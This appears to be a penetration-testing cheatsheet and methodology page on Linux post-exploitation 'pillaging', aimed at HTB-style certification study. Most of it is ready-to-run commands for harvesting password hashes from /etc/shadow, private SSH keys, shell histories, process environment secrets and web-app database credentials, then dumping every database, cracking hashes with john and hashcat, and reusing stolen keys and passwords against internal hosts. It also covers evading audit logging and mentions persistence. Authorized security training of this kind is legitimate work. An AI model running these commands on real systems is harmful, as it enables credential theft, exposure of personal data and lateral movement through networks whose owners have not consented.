Skip to Content

Linux Pillaging

Cheatsheet

# Dump password hashes for crackin cat /etc/shadow # Hunt every private SSH key on the box find / \( -name "id_rsa*" -o -name "id_ed25519*" -o -name "id_ecdsa*" -o -name "id_dsa*" \) 2>/dev/null # Admin command history (creds, hosts, one-liners) cat /root/.bash_history /root/.zsh_history /home/*/.bash_history 2>/dev/null # Grep web/app/system trees for password strings grep -rniE "password|passwd|secret|api[_-]?key" /var/www /etc /opt /srv 2>/dev/null # Web app DB configs (highest-value foothold creds) find /var/www -name "wp-config.php" -o -name ".env" -o -name "config.php" -o -name "database.yml" 2>/dev/null # Process environment variables (often hold secrets) cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token" # mysql config cat /etc/mysql/debian.cnf # Dump every database once you have creds mysqldump -u <USER> -p<PASS> --all-databases > all_databases.sql # Map the next targets cat /etc/hosts /root/.ssh/known_hosts 2>/dev/null; arp -a; ip neigh # Find unmounted partitions hiding data lsblk; blkid; cat /etc/fstab # Run LinPEAS with full root visibility, keep the log bash linpeas.sh -a 2>&1 | tee linpeas_root.txt

Methodology

Pillaging happens after privilege escalation. Confirm you actually have the read access you need (id, cat /etc/shadow) before assuming a file is missing. If a “missing” file is really a permissions error, you are not as privileged as you think.

Phase 0: Orientation

?

Ask youself

  • Who am I now, and does my privilege actually let me read /etc/shadow, other users’ homes, and /proc/*/environ?
  • What OS, distro, and role is this host (web server, DB server, jump box, DC-adjacent), and what data does that role imply?
  • What is watching me ? auditd, EDR, shell-history logging and what is the OPSEC cost of a full find / sweep?
  • What can this foothold reach that my attack box could not (internal subnets, NFS/SMB mounts, DB sockets)?
  • Which credential or key, if found here, most cheaply unlocks the next host?
# Is logging/EDR watching systemctl is-active auditd 2>/dev/null; ls -la /var/log/audit 2>/dev/null
  • Confirm identity and read access (id; test-read /etc/shadow).
  • Fingerprint the host role from hostname, os-release, and listening services.
  • Note logging/EDR presence before launching noisy file sweeps.
  • List reachable interfaces, sockets, and mounts that the attack box cannot touch.
  • Decide which target (creds vs SSH keys vs DB) to pursue first based on the host’s role.

Phase 1: Harvest Credentials & Keys

?

Ask youself

  • Which credential stores are readable now that were locked before privesc (/etc/shadow, other users’ homes, /proc/*/environ)?
  • Do history files, app configs, or process environments leak plaintext I can reuse immediately?
  • Whose SSH private keys live here, and are any of them root’s or an admin’s ? and where do known_hosts/.ssh/config say they connect?
  • For an encrypted key or a hash, is offline cracking worth the time, or do I already hold a reusable plaintext?
  • Has every secret found here been queued to spray against other hosts and services in Phase 3?
# Password hashes cat /etc/shadow cat /etc/shadow | grep -vE ':[*!]:' > hashes.txt # History files (root first, then all users) cat /root/.bash_history /root/.zsh_history 2>/dev/null cat /home/*/.bash_history /home/*/.zsh_history 2>/dev/null grep -iE "pass|secret|key|mysql|ssh|scp|curl|wget" /root/.bash_history 2>/dev/null # App + service configs and process environments that hold real creds grep -i "DB_PASSWORD" /var/www/*/wp-config.php 2>/dev/null find /var/www -name ".env" -exec cat {} \; 2>/dev/null cat /etc/mysql/debian.cnf 2>/dev/null cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token|api" # Locate and read every private SSH key (root/admin first) find / \( -name "id_rsa*" -o -name "id_ed25519*" -o -name "id_ecdsa*" \) 2>/dev/null cat /root/.ssh/id_rsa 2>/dev/null for u in /home/*; do echo "=== $u ==="; cat "$u"/.ssh/id_rsa 2>/dev/null; done # Where do those keys go, and who can come in? cat /root/.ssh/known_hosts /root/.ssh/config 2>/dev/null cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2>/dev/null
  • Dump /etc/shadow; filter out */! entries before cracking (those are disabled accounts).
  • Read root and all user history files; extract any inline -p<PASS> or export secrets.
  • Pull DB/service passwords from web app configs (wp-config.php, .env, config.php) and sweep /proc/*/environ for tokens/API keys.
  • Find and read all private keys; for each, check known_hosts/.ssh/config for intended destinations and authorized_keys for persistence/impersonation.
  • If a key or hash is encrypted, run ssh2john/pick the right hashcat mode (see Reference) but reuse a harvested plaintext first.
  • Record every plaintext, hash, and chmod 600 key copy, and flag it for reuse in Phase 3.

Phase 2: Pillage Databases & Stored Data

?

Ask youself

  • Which DB engines are listening (from Phase 0), and can I authenticate with creds harvested in Phase 1 or as a local socket/peer superuser?
  • Do application user tables store crackable password hashes worth feeding back to Phase 1?
  • Are there unmounted partitions, NFS/SMB mounts, backups, or .git histories hiding data the live files no longer show?
  • Which artifacts prove impact for the report (PII, secrets) versus which just feed further access?
  • Should I dump everything now (loud but complete) or query targeted tables/files (quiet)?
# MySQL/MariaDB: socket/maintenance auth then full dump mysql -u root # try no-password first mysqldump -u root -p --all-databases > all_databases.sql # PostgreSQL: local superuser via peer auth sudo -u postgres psql -c '\l' pg_dumpall > pg_all.sql # SQLite: no service needed, just the file find / \( -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" \) 2>/dev/null sqlite3 <FILE> .tables # Storage the live mount might hide lsblk; blkid; cat /etc/fstab # Backups, archives, version control, and user/app data find / \( -name "*.bak" -o -name "*.old" -o -name "*.tar.gz" -o -name "*.zip" \) 2>/dev/null find / -name ".git" -type d 2>/dev/null ls -la /var/mail /var/spool/mail 2>/dev/null
  • Authenticate to each engine (MySQL/MariaDB, PostgreSQL, SQLite, MongoDB) with harvested creds, no-password, or local socket/peer auth before brute force.
  • Locate app user tables, extract password hashes for cracking, and feed any reused passwords back to Phase 1.
  • Enumerate block devices and fstab; mount any unmounted partition to a scratch dir.
  • Sweep backup/archive files and .git repos for secrets; collect user/app data (web roots, mail spools, browser profiles, VPN configs).
  • Dump targeted tables/files when stealth matters, full --all-databases/pg_dumpall when it does not; save everything to evidence storage with provenance.

Phase 3: Network Recon & Lateral Targets

?

Ask youself

  • What other hosts does this box know about (/etc/hosts, known_hosts, ARP, routes)?
  • Which internal services and shares are reachable from here that my attack box cannot hit directly?
  • Which harvested credential/key maps to which discovered host ? what is the most likely reuse pair?
  • Do I need a pivot/tunnel (ligolo-ng/chisel) to reach a newly discovered subnet?
  • What is the safest order to test reuse so I do not trip lockouts on the next host?
# Who does this host already know? cat /etc/hosts; cat /root/.ssh/known_hosts 2>/dev/null arp -a; ip neigh; ip route # What's listening / connected internally ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null # Mounted or exported shares = other systems grep -iE "nfs|cifs|smb" /etc/fstab; cat /etc/exports 2>/dev/null showmount -e localhost 2>/dev/null
  • Build a target list from /etc/hosts, known_hosts, ARP/neighbour cache, and routes.
  • Enumerate reachable internal services and NFS/SMB shares from this vantage point.
  • Pair each harvested credential/key with a candidate host before testing.
  • Stand up a pivot (ligolo-ng, chisel, proxychains) if a new subnet is only reachable from here.
  • Confirm lockout policy, then spray reused creds start with SSH keys before passwords.

Phase 4: Automated Sweep & Re-check

?

Ask youself

  • Did manual collection miss anything an automated sweep with full root visibility would catch?
  • Are there kernel/service exploit paths only visible now that I can read root-only configs?
  • Does the tool output corroborate or contradict my manual findings what do I trust?
  • Have I captured tool logs as evidence rather than relying on scrollback?
  • Is there a persistence or cleanup step required before I move to the next host?
# Full-visibility sweep, keep the log as evidence bash linpeas.sh -a 2>&1 | tee linpeas_root.txt # Re-run exploit suggester now that root-only configs are readable ./linux-exploit-suggester.sh 2>&1 | tee les_root.txt
  • Run LinPEAS with -a as root and save the log; diff against pre-privesc findings.
  • Re-run a kernel exploit suggester now that root-only config is readable.
  • Reconcile automated hits with manual findings; manually validate anything important.
  • Archive all tool logs to evidence storage with timestamps.
  • Decide on persistence/cleanup before pivoting onward.

Reference

What pillaging buys you

With root you can read every credential store on the box. The point is not “having root” it is converting that into access elsewhere.

  • Extract credentials and hashes for reuse and cracking.
  • Recover SSH private keys for pivoting to managed hosts.
  • Dump databases for user data, hashes, and PII.
  • Identify and reach other systems on the internal network.
  • Gather concrete evidence (paths, dumps, screenshots) for the report.

Credential reuse is the highest-yield move in pillaging. Admins and developers reuse passwords across services and hosts a database password is frequently also an SSH or sudo password. Try every secret everywhere before falling back to cracking or brute force.

Hash cracking quick reference

Identify the algorithm from the $id$ prefix in /etc/shadow, then pick the matching mode.

Shadow prefixAlgorithmhashcat modejohn format
$1$MD5crypt500md5crypt
$5$SHA-256crypt7400sha256crypt
$6$SHA-512crypt1800sha512crypt
$2b$ / $2y$bcrypt3200bcrypt
$y$yescryptunsupportedcrypt (john)
# Combine passwd + shadow, then crack with john unshadow /etc/passwd /etc/shadow > unshadow.txt john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt # Or crack a single format with hashcat hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

yescrypt ($y$) is the default on Debian 11+/Ubuntu 22.04+ and is not GPU-crackable in hashcat. Use john (CPU) and expect it to be slow; prefer reusing a plaintext you already harvested.

SSH key reuse

# Copy a found key off the box and fix perms chmod 600 root_key # Crack an encrypted key's passphrase ssh2john root_key > key.hash john --wordlist=/usr/share/wordlists/rockyou.txt key.hash # Test against discovered hosts ssh -i root_key root@<TARGET_IP> -o StrictHostKeyChecking=no

Service config credential locations

ServiceFile(s)
MySQL/MariaDB/etc/mysql/debian.cnf, /etc/mysql/my.cnf
WordPress/var/www/*/wp-config.php
Generic web app.env, config.php, database.yml, settings.py
Samba/etc/samba/smb.conf
FTP/etc/vsftpd.conf, /etc/proftpd/proftpd.conf
HTTP basic auth/etc/apache2/.htpasswd, /etc/nginx/.htpasswd
Postfix SASL/etc/postfix/sasl_passwd
LDAP/etc/ldap/ldap.conf

Security mechanism enumeration

Knowing what is enforced explains why an action failed and shapes the next move.

MechanismCheck command
AppArmoraa-status
SELinuxsestatus, getenforce
ASLRcat /proc/sys/kernel/randomize_va_space
Firewalliptables -L -n, ufw status
User namespacescat /proc/sys/kernel/unprivileged_userns_clone

Notable local privesc / kernel CVEs

Re-checking as root can surface paths that were invisible pre-privesc.

Quiz

You have root on a web server and recover the WordPress DB password from wp-config.php. What is the highest-value next move?

Quiz

On Ubuntu 22.04 you dump /etc/shadow and every hash starts with $y$. What should you do?

#Linux #Penetration-Testing #Red-Team #HTB #Certification #Pillaging #PostExploitation #CredentialHarvesting #SSHKeys #LateralMovement #Shadow #History #Database #Windows

Last updated on